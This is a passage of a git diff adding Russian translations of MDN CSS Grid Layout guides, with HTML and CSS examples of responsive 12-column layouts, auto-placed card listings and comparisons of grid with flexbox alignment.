+<p>Чтобы увидеть, как этот метод макета работает на практике, мы можем создать тот же самый макет, который мы создали с {{cssxref("grid-template-areas")}}, на этот раз используя сеточную систему из 12 столбцов. Я начинаю с той же разметки, которая используется для примера областей шаблона сетки.</p>
+
+<div id="layout_3">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+    .wrapper {
+        max-width: 1024px;
+        margin: 0 auto;
+        font: 1.2em Helvetica, arial, sans-serif;
+    }
+
+    .wrapper &gt; * {
+        border: 2px solid #f08c00;
+        background-color: #ffec99;
+        border-radius: 5px;
+        padding: 10px;
+    }
+
+    nav ul {
+        list-style: none;
+        margin: 0;
+        padding: 0;
+    }
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+        &lt;header class="main-head"&gt;The header&lt;/header&gt;
+        &lt;nav class="main-nav"&gt;
+            &lt;ul&gt;
+                &lt;li&gt;&lt;a href=""&gt;Nav 1&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href=""&gt;Nav 2&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href=""&gt;Nav 3&lt;/a&gt;&lt;/li&gt;
+            &lt;/ul&gt;
+        &lt;/nav&gt;
+        &lt;article class="content"&gt;&lt;h1&gt;Main article area&lt;/h1&gt;
+        &lt;p&gt;In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.&lt;/p&gt;&lt;/article&gt;
+        &lt;aside class="side"&gt;Sidebar&lt;/aside&gt;
+        &lt;div class="ad"&gt;Advertising&lt;/div&gt;
+        &lt;footer class="main-footer"&gt;The footer&lt;/footer&gt;
+    &lt;/div&gt;
+</pre>
+
+<p>Затем я настраиваю сетку как в примере выше.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+</pre>
+
+<p>Мы снова собираемся сделать этот макет адаптивным, но на этот раз с использованием именованных линий. Каждая контрольная точка будет использовать сетку из 12 столбцов, однако количество дорожек, которые будут охватывать элементы, будет меняется в зависимости от размера экрана.</p>
+
+<p>Прежде всего мы запускаем мобильные устройства, и все, что нам нужно для самых узких экранов, - это чтобы элементы оставались в исходном порядке и были расположены прямо по сетке.</p>
+
+<pre class="brush: css">.wrapper &gt; * {
+  grid-column: col-start / span 12;
+}
+</pre>
+
+<p>В следующей контрольной точке мы хотим перейти к двухколоночному макету. Наш заголовок и навигация по-прежнему охватывают всю сетку, поэтому нам не нужно указывать для них какое-либо позиционирование. Боковая панель начинается с первой строки столбца с именем col-start, охватывающей 3 строки. Он идет после строки 3, так как заголовок и навигация находятся в первых двух дорожках строки.</p>
+
+<p>Панель объявлений находится ниже боковой панели, поэтому начинается с строки сетки 4. Затем у нас есть основное содержимое и футер, начинающийся с col-start 4 и охватывающий 9 треков, ведущих их к концу сетки.</p>
+
+<pre class="brush: css">@media (min-width: 500px) {
+
+  .side {
+    grid-column: col-start / span 3;
+    grid-row: 3;
+  }
+  .ad {
+    grid-column: col-start / span 3;
+    grid-row: 4;
+  }
+  .content, .main-footer {
+    grid-column: col-start 4 / span 9;
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+</pre>
+
+<p>Наконец, мы переходим к трехколоночной версии этого макета. Заголовок продолжает распространяться прямо по сетке, но теперь навигация перемещается вниз, чтобы стать первой боковой панелью с основным содержимым, а затем боковой панелью рядом с ней. Футер теперь также охватывает весь макет.</p>
+
+<pre class="brush: css">@media (min-width: 700px) {
+  .main-nav {
+    grid-column: col-start / span 2;
+    grid-row: 2 / 4;
+  }
+  .content {
+    grid-column: col-start 3 / span 8;
+    grid-row: 2 / 4;
+  }
+  .side {
+    grid-column: col-start 11 / span 2;
+    grid-row: 2;
+  }
+  .ad {
+    grid-column: col-start 11 / span 2;
+    grid-row: 3;
+  }
+  .main-footer {
+    grid-column: col-start / span 12;
+  }
+  nav ul {
+    flex-direction: column;
+  }
+}
+</pre>
+
+<p>{{ EmbedLiveSample('layout_3', '800', '450') }}</p>
+</div>
+
+<p>Снова смотрим <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Inspector</a>, чтобы увидеть, какую форму принял наш макет.</p>
+
+<p><img alt="Showing the layout with grid tracks highlighted by the grid inspector." src="https://mdn.mozillademos.org/files/14755/11-grid-inspector-12col-layout.png" style="height: 614px; width: 2050px;"></p>
+
+<p>При создании этого макета следует отметить, что нам не нужно было явно размещать каждый элемент сетки в каждой контрольной точке. Мы унаследовали ранее настроенное размещение – преимущество работы “сначала мобильный". Мы также можем воспользоваться преимуществами автоматического размещения сетки. Сохраняя элементы в логическом порядке, автоматическое размещение делает довольно много работы за нас при размещении элементов в сетке. В последнем примере этого руководства мы создадим макет, который полностью зависит от автоматического размещения.</p>
+
+<h2 id="Создание_списка_с_помощью_авторазмещения">Создание списка с помощью авторазмещения</h2>
+
+<p>Многие макеты, по сути, представляют собой наборы "карточек" - списки продуктов, галереи изображений и так далее. Сетка может очень легко создавать эти списки таким образом, чтобы они были отзывчивыми, без необходимости добавлять медиа-запросы. В следующем примере я комбинирую CSS Grid и Flexbox макеты, чтобы сделать простой макет списка продуктов.</p>
+
+<p>Разметка моего списка-это неупорядоченный список элементов. Каждый элемент содержит заголовок, некоторый текст различной высоты и ссылку с призывом к действию.</p>
+
+<div id="layout_4">
+<pre class="brush: html">&lt;ul class="listing"&gt;
+  &lt;li&gt;
+    &lt;h2&gt;Item One&lt;/h2&gt;
+    &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+    &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+  &lt;/li&gt;
+   &lt;li&gt;
+     &lt;h2&gt;Item Two&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+   &lt;/li&gt;
+   &lt;li class="wide"&gt;
+     &lt;h2&gt;Item Three&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;
+     &lt;p&gt;This one has more text than the other items.&lt;/p&gt;
+     &lt;p&gt;Quite a lot more&lt;/p&gt;
+     &lt;p&gt;Perhaps we could do something different with it?&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+     &lt;h2&gt;Item Four&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+     &lt;li&gt;
+     &lt;h2&gt;Item Five&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+      &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+    img {max-width: 100%; display: block;}
+    body {
+        font: 1.2em Helvetica, arial, sans-serif;
+    }
+    a:link, a:visited {
+      text-decoration: none;
+      color: #f08c00;
+    }
+
+    h2 {
+      background-color: #f08c00;
+      color: #fff;
+      text-align: center;
+      margin: 0;
+      padding: 20px;
+    }
+</pre>
+</div>
+
+<p>Мы собираемся создать сетку с гибким количеством гибких столбцов. Я хочу, чтобы они никогда не становились меньше 200 пикселей, а затем делили любое доступное оставшееся пространство поровну – так мы всегда получаем одинаковые по ширине дорожки столбцов. Мы достигаем этого с помощью функции  <code>minmax()</code> в нашей повторной нотации для определения размера трека.</p>
+
+<pre class="brush: css">.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+</pre>
+
+<p>Как только я добавляю этот CSS, элементы начинают раскладываться в виде сетки. Если я сделаю окно меньше или шире, количество дорожек столбцов изменится – без необходимости переопределять сетку.</p>
+
+<p>Затем я могу привести в порядок внутренние части ячеек, используя flexbox. Я установил для элемента списка <code>display: flex</code> and theи <code>flex-direction</code> для <code>column</code>. Затем я могу использовать margin auto для   <code>.cta</code> чтобы подтолкнуть этот элемент вниз к нижней части ячейки.</p>
+
+<pre class="brush: css">.listing li {
+  border: 1px solid #ffe066;
+  border-radius: 5px;
+  display: flex;
+  flex-direction: column;
+}
+.listing .cta {
+  margin-top: auto;
+  border-top: 1px solid #ffe066;
+  padding: 10px;
+  text-align: center;
+}
+.listing .body {
+  padding: 10px;
+}
+</pre>
+
+<p>Это действительно одна из ключевых причин, по которой я буду использовать flexbox, а не сетку, если я просто выравниваю или распределяю что-то в одном измерении, это вариант использования flexbox.</p>
+
+<p>{{ EmbedLiveSample('layout_4', '800', '900') }}</p>
+</div>
+
+<p>Теперь все это выглядит более завершенным. Однако иногда у нас есть эти элементы, которые содержат больше контента, чем другие. Было бы неплохо, чтобы они охватывали два трека, и тогда они не будут такими высокими. У меня есть класс <code>wide</code> для большого элемента, и я добавляю правило {{cssxref("grid-column-end")}} со значением  <code>span 2</code>. Теперь, когда grid столкнется с этим элементом, он назначит ему два трека. В некоторых точках это означает, что мы получим разрыв в сетке – там, где нет места для размещения двухтрекового элемента.</p>
+
+<p><img alt="The layout has gaps as there is not space to layout a two track item." src="https://mdn.mozillademos.org/files/14751/11-grid-auto-flow-sparse.png" style="height: 812px; width: 800px;"></p>
+
+<p>Я могу привести причину недостатка заполнения с помощью {{cssxref("grid-auto-flow")}}<code>: dense </code> в грид ячейке. Будьте осторожны, когда делаете это, поскольку это действительно уводит элементы от их логического исходного порядка. Вы должны делать это только в том случае, если ваши элементы не имеют установленного порядка – и быть в курсе проблем порядка вкладок после источника, а не вашего переупорядоченного отображения.</p>
+
+<div id="layout_5">
+<div class="hidden">
+<pre class="brush: html">&lt;ul class="listing"&gt;
+  &lt;li&gt;
+    &lt;h2&gt;Item One&lt;/h2&gt;
+    &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+    &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+  &lt;/li&gt;
+   &lt;li&gt;
+     &lt;h2&gt;Item Two&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+   &lt;/li&gt;
+   &lt;li class="wide"&gt;
+     &lt;h2&gt;Item Three&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;
+     &lt;p&gt;This one has more text than the other items.&lt;/p&gt;
+     &lt;p&gt;Quite a lot more&lt;/p&gt;
+     &lt;p&gt;Perhaps we could do something different with it?&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+     &lt;h2&gt;Item Four&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+     &lt;li&gt;
+     &lt;h2&gt;Item Five&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+      &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<pre class="brush: css">* {box-sizing: border-box;}
+    img {max-width: 100%; display: block;}
+    body {
+        font: 1.2em Helvetica, arial, sans-serif;
+    }
+    a:link, a:visited {
+      text-decoration: none;
+      color: #f08c00;
+    }
+
+    h2 {
+      background-color: #f08c00;
+      color: #fff;
+      text-align: center;
+      margin: 0;
+      padding: 20px;
+    }
+
+.listing li {
+  border: 1px solid #ffe066;
+  border-radius: 5px;
+  display: flex;
+  flex-direction: column;
+}
+.listing .cta {
+  margin-top: auto;
+  border-top: 1px solid #ffe066;
+  padding: 10px;
+  text-align: center;
+}
+.listing .body {
+  padding: 10px;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-auto-flow: dense;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+.listing .wide {
+  grid-column-end: span 2;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('layout_5', '800', '900') }}</p>
+
+<p>Этот метод использования автоматического размещения с некоторыми правилами, применяемыми к определенным элементам, очень полезен и может помочь вам с контентом, который выводится CMS, например, где у вас есть повторяющиеся элементы и, возможно, вы можете добавить класс к определенным элементам, когда они отображаются в HTML.</p>
+</div>
+
+<h2 id="Дальнейшие_исследования">Дальнейшие исследования</h2>
+
+<p>Лучший способ научиться использовать сеточный макет-это продолжать строить примеры, подобные тем, которые мы рассмотрели здесь. Выберите что-то, что вы обычно строите, используя свой фреймворк выбора или используя поплавки, и посмотрите, сможете ли вы построить его с помощью сетки. Не забудьте найти примеры, которые невозможно построить с помощью современных методов. Это может означать, что вы черпаете вдохновение из журналов или других источников, не связанных с интернетом. Сеточный макет открывает возможности, которых у нас раньше не было, нам не нужно быть привязанными к тем же старым макетам, чтобы использовать его.</p>
+
+<ul>
+ <li>For inspiration see the <a href="http://labs.jensimmons.com/"><em>Layout Labs</em> from Jen Simmons</a>, she has been creating layouts based on a range of sources.</li>
+ <li>For additional common layout patterns see <em><a href="http://gridbyexample.com">Grid by Example</a></em>, where there are many smaller examples of grid layout and also some larger UI patterns and full page layouts.</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html
new file mode 100644
index 0000000000..1278783254
--- /dev/null
+++ b/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html
@@ -0,0 +1,626 @@
+---
+title: Связь Grid позиционирования с другими методами позиционирования
+slug: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
+tags:
+  - Руководство
+  - Сетка
+translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
+---
+<p><strong>CSS Grid Layout </strong>спроектирован таким образом, чтобы работать вместе с другими частями CSS и составлять с ними законченную систему создания макетов страниц. В рамках этого руководства, мы объясним, каким образом сочетать гриды с другими техниками, которыми Вы, возможно, уже пользуетесь в своей работе. </p>
+
+<h2 id="Grid_и_flexbox">Grid и flexbox</h2>
+
+<p>Основное различие между CSS Grid Layout<strong> </strong>и <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexbox Layout</a>  в том, что flexbox предназначен для позиционирования элементов в одном направлении, то есть, либо в строке, либо в колонке. Grid же был разработан для позиционирования элементов в двумерной системе, то есть, для одновременного позиционирования и в строке, и в колонке. Однако, в двух спецификациях есть некоторые общие черты, и если вы уже научились укрощать flexbox, вы увидите сходства, которые помогут вам разобраться и с Grid.</p>
+
+<h3 id="Одномерное_vs_Двумерное_позиционирование">Одномерное vs Двумерное позиционирование</h3>
+
+<p>Простой пример поможет нам продемонстрировать разницу между одно- и двумерным позиционированием.</p>
+
+<p>В пером примере мы воспользуемся flexbox для того, чтобы разместить несколько блоков. Предположим, что у нас есть пять дочерних элементов в контейнере, зададим им значения flex-свойств таким образом, чтобы их размер увеличивался и уменьшался, начиная с базового в 200px.</p>
+
+<p>Также установим свойство {{cssxref("flex-wrap")}} в значение <code>wrap</code> . Это приведет к тому, что если свободного пространства в нашем контейнере будет не хватать для размещения элемента в 200px, наши элементы спокойно перейдут на новую строку. </p>
+
+<div id="onedtwod">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+   display: flex;
+   flex-wrap: wrap;
+}
+.wrapper &gt; div {
+   flex: 1 1 200px;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('onedtwod', '500', '230') }}</p>
+
+<p>На картинке вы видите, что два элемента перешли на новую строку. Эти элементы поделили свободное пространство между собой, а не выравнялись по элементам над ними. Происходит это потому, что каждая новая строка (или колонка, если мы работаем с колонками) становится новым flex-контейнером. А во flex-контейнере распределение свободного пространства действует в рамках <strong>всей </strong>строки. </p>
+
+<p>Общий вопрос заключается в том, как заставить наши перебежавшие элементы выравняться по элементам сверху. Как раз в этом случае и нужен метод размещения элементов в двумерной системе: требуется выравнивание и по строке, и по колонке, а для этого на помощь спешит Grid.</p>
+
+<h3 id="Те_же_яйца_вид_в_профиль_тот_же_макет_но_с_CSS_гридами">Те же яйца, вид в профиль: тот же макет, но с CSS гридами</h3>
+
+<p>В примере ниже мы создаем тот же самый макет, но используя гриды. На этот раз у нас три трека-колонки шириной в <code>1fr</code> . И при этом нам не требуется задавать какие-либо свойства дочерним элементам, потому что они самостоятельно занимают по одной ячейке созданного грида. Как Вы видите, наши элементы лежат в жесткой сетке и выравниваются и по строке, и по колонке. Поскольку у нас пять элементов, в результате мы получаем пустую ячейку в конце второй строки. </p>
+
+<div class="Two_Dimensional_With_Grid">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Two_Dimensional_With_Grid', '300', '170') }}</p>
+</div>
+
+<p>Если Вы колеблетесь, что выбрать - flexbox или грид, задайте себе простой вопрос:</p>
+
+<ul>
+ <li>мне нужно управлять размещением элементов в строке <u>или </u>в колонке - окей, нужен flexbox</li>
+ <li>мне нужно управлять размещением элементов <u>и </u>в строке, <u>и </u>в колонке – окей, нужен грид</li>
+</ul>
+
+<h3 id="Что_важнее_контент_или_макет">Что важнее: контент или макет?</h3>
+
+<p>В дополнение к различию между позиционированию в одном направлении и позиционированию в двух направлениях, существует еще один способ решить, нужен ли Вам макет, основанный на flexbox или макет, основанный на гридах. Flexbox работает исходя из размеров контента. Идеальный случай использования flexbox - когда у Вас есть набор элементов, а Вам нужно распределить их в контейнере равномерно. Вы позволяете размеру содержимого элементов решить, сколько пространства должен забрать каждый элемент. Если элементы переходят на новую строку, они забирают для себя пространство, исходя из своих размеров и того свободного места, которое есть в <em>этой строке</em>.</p>
+
+<p>Грид работает, исходя из макета. Когда Вы используете CSS Grid Layout, Вы создаете структуру и затем размещаете элементы именно в этой структуре или же позволяете правилам авто-размещения разместить элементы в грид-ячейках в соответствии с жестко заданной сеткой. Конечно, существует возможность создавать треки, подстраивающиеся под размер контента, но при этом они также меняют саму структуру.</p>
+
+<p>Поэтому, если Вы используете flexbox и вдруг обнаруживаете, что ограничиваете эластичность элементов, возможно, Вам нужно посмотреть в сторону CSS Grid Layout. Например, в том случае, если Вы процентами подгоняете ширину flex-элемента, чтобы выровнять его по элементам в строке сверху. В такой ситуации гриды кажутся более оптимальным выбором. </p>
+
+<h3 id="Выравнивание_блоков">Выравнивание блоков</h3>
+
+<p>Самой волнующей функциональностью flexbox для многих из нас была возможность впервые управлять выравниванием блоков. С помощью flexbox можно легко отцентрировать блок на странице. Флекс-элементы способны растягиваться на всю длину контейнера - значит, колонки равной высоты из мечты стали реальностью. Существовал целый ряд вещей, которые нам хотелось сделать очень давно, и для воплощения которых приходилось изобретать различные хаки.</p>
+
+<p>Свойства выравнивания из спецификации flexbox были добавлены в новую спецификацию, названную <a href="https://drafts.csswg.org/css-align/">Box Alignment Level 3</a>. А это означает, что они могут использоваться и в других спецификациях, в том числе и в Grid Layout. </p>
+
+<p>Дальше в нашем руководстве мы подробно рассмотрим выравнивание блоков Box Alignment и то, как оно работает в Grid Layout, а здесь давайте рассмотрим два простых примера, и сравним flexbox и гриды.</p>
+
+<p>В первом примере, использующем flexbox, у нас есть контейнер с тремя элементами. Для блока-обертки wrapper установлено свойство {{cssxref("min-height")}}, и оно задает высоту flex-контейнера. Мы установили свойство {{cssxref("align-items")}} flex-контейнера в значение <code>flex-end</code> , поэтому элементы выравниваются по концу flex-контейнера. Мы также установили значение свойства {{cssxref("align-self")}} для <code>box1</code>  таким образом, что оно перезапишет поведение по умолчанию и заставит наш блок растянутся на всю высоту контейнера. Для <code>box2</code> свойство {{cssxref("align-self")}} установлено таким образом, что блок перепрыгнет в начало flex-контейнера.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+   display: flex;
+   align-items: flex-end;
+   min-height: 200px;
+}
+.box1 {
+   align-self: stretch;
+}
+.box2 {
+   align-self: flex-start;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Box_alignment', '300', '230') }}</p>
+
+<h3 id="Тем_временем_в_параллельной_вселенной_выравнивание_в_CSS_Гридах">Тем временем в параллельной вселенной: выравнивание в CSS Гридах</h3>
+
+<p>Второй пример использует грид, чтобы создать тот же самый макет, и на этот раз мы рассмотрим то, как свойства выравнивания блоков применяются к гридам. Вместо <code>flex-start</code> и <code>flex-end</code> мы задаем <code>start</code> и <code>end</code> . В случае с макетом на гридах мы выравниваем элементы внутри их грид-области, в данном примере - это одна единственная грид-ячейка, но в целом грид-область может состоять из нескольких грид-ячеек.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3,1fr);
+   align-items: end;
+   grid-auto-rows: 200px;
+}.box1 {
+   align-self: stretch;
+}
+.box2 {
+   align-self: start;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Alignment_in_CSS_Grids', '200', '310') }}</p>
+
+<h3 id="Единица_fr_и_flex-basis">Единица <code>fr</code> и <code>flex-basis</code></h3>
+
+<p>Мы уже видели, как работает единица <code>fr</code> в случае пропорционального распределения доступного пространства между грид-треками в грид-контейнере.  При комбинировании <code>fr</code> с функцией {{cssxref("minmax", "minmax()")}} мы получаем поведение, очень похожее на свойство <code>flex</code> в flexbox - и при этом по-прежнему можем создавать макет в двумерной системе.</p>
+
